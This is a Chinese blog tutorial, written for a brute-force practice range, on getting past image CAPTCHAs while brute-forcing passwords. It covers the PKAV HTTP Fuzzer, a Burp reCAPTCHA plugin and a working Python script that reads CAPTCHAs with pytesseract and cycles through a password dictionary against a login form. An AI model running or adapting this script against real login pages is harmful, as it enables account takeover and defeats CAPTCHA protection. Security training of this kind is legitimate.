Web安全之爆破中的验证码识别~
写爆破靶场的时候发现对于爆破有验证码的有点意思~这里简单总结下我们爆破有验证码的场景中几种有效的方法~~~
0x01 使用现成工具
这里有pkav团队的神器PKAV HTTP Fuzzer 1.5.6可以实现这个功能~
我们可以用pkav的国产神器,抓取请求包后,分别标记需要爆破的密码和识别的验证码,然后右侧定义加载的字典
配置验证码识别
ok~爆破出来了~
0x02 使用爬虫requests库+pytesseract库
当然神器也不是每次都能识别出来,我们也可以使用强大py第三方库来识别爆破
可以使用requests库来发包(这个比selenium简单~~不过也就使用这种简单场景) pytesseract来识别验证码~~~具体安装使用可以看我另一篇博客~https://www.cnblogs.com/-qing-/p/11027821.html
附上自己写的小脚本
# -*- coding: utf-8 -*-
#后台带验证码爆破 By 卿
import requests
import pytesseract
import re
code_url='http://www.brute_demo.com/vaildcode.php' #验证码地址
brute_url='http://www.brute_demo.com/brute_4.php' #表单提交地址
#识别验证码的函数
def user_code():
#获取图片验证码
r = s.get(code_url)
with open('1.png', 'wb') as f:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
f.flush()
f.close()
#识别图片验证码
im = pytesseract.image_to_string('1.png')
im = im.replace(' ', '')
return im
#有时候识别失败可以加载正则再次识别
if re.match('[0-9]{4}',im):#4位数字的验证码
return im
else:
return user_code()#再次识别
s=requests.session()
headers = {"Content-Type":"application/x-www-form-urlencoded","Connection":"Keep-Alive"}
with open(r'pass.dic', 'r') as Pass:#加载密码字典
for password in Pass.readlines():
code = user_code()
print("验证码"+code)
data = {'username':'qing','password':password,'submit':'submit','checkNum':code}
r=s.post(brute_url,data=data,headers=headers)
#密码正确
if 'Password mistake' not in r.text:
print("正确的密码为:"+password)
break
0x03 使用Burp插件reCAPTCHA
reCAPTCHA
一个burp插件,自动识别图形验证码,并用于Intruder中的Payload。最新版支持 GSA Captcha Breaker, 这个软件可以本地运行,速度杠杠的!
项目主页:https://github.com/bit4woo/reCAPTCHA
使用:
选中需要识别验证码的包并点击右键选择“Send to reCAPTCHA”,这个请求的信息将被发送到reCAPTCHA。
- 切换到reCAPTCHA标签,并配置所需的参数。当参数配置好后,你可以点击“请求”按钮来测试配置。
-
http://www.ysdm.net 的API是目前唯一支持的接口,其中的各项参数需要自行注册帐号并填写,才能成功调用接口完成图片的识别。该API需要的参数如下,请用正确的值替换%s ,特别注意typeid值的设定(http://www.ysdm.net/home/PriceType)。
username=%s&password=%s&typeid=%s
在Intruder中使用:
完成了配置并测试成功后,现在可以在Intruder中使用该插件生成的payload了
------------------------------------------------------------------------------------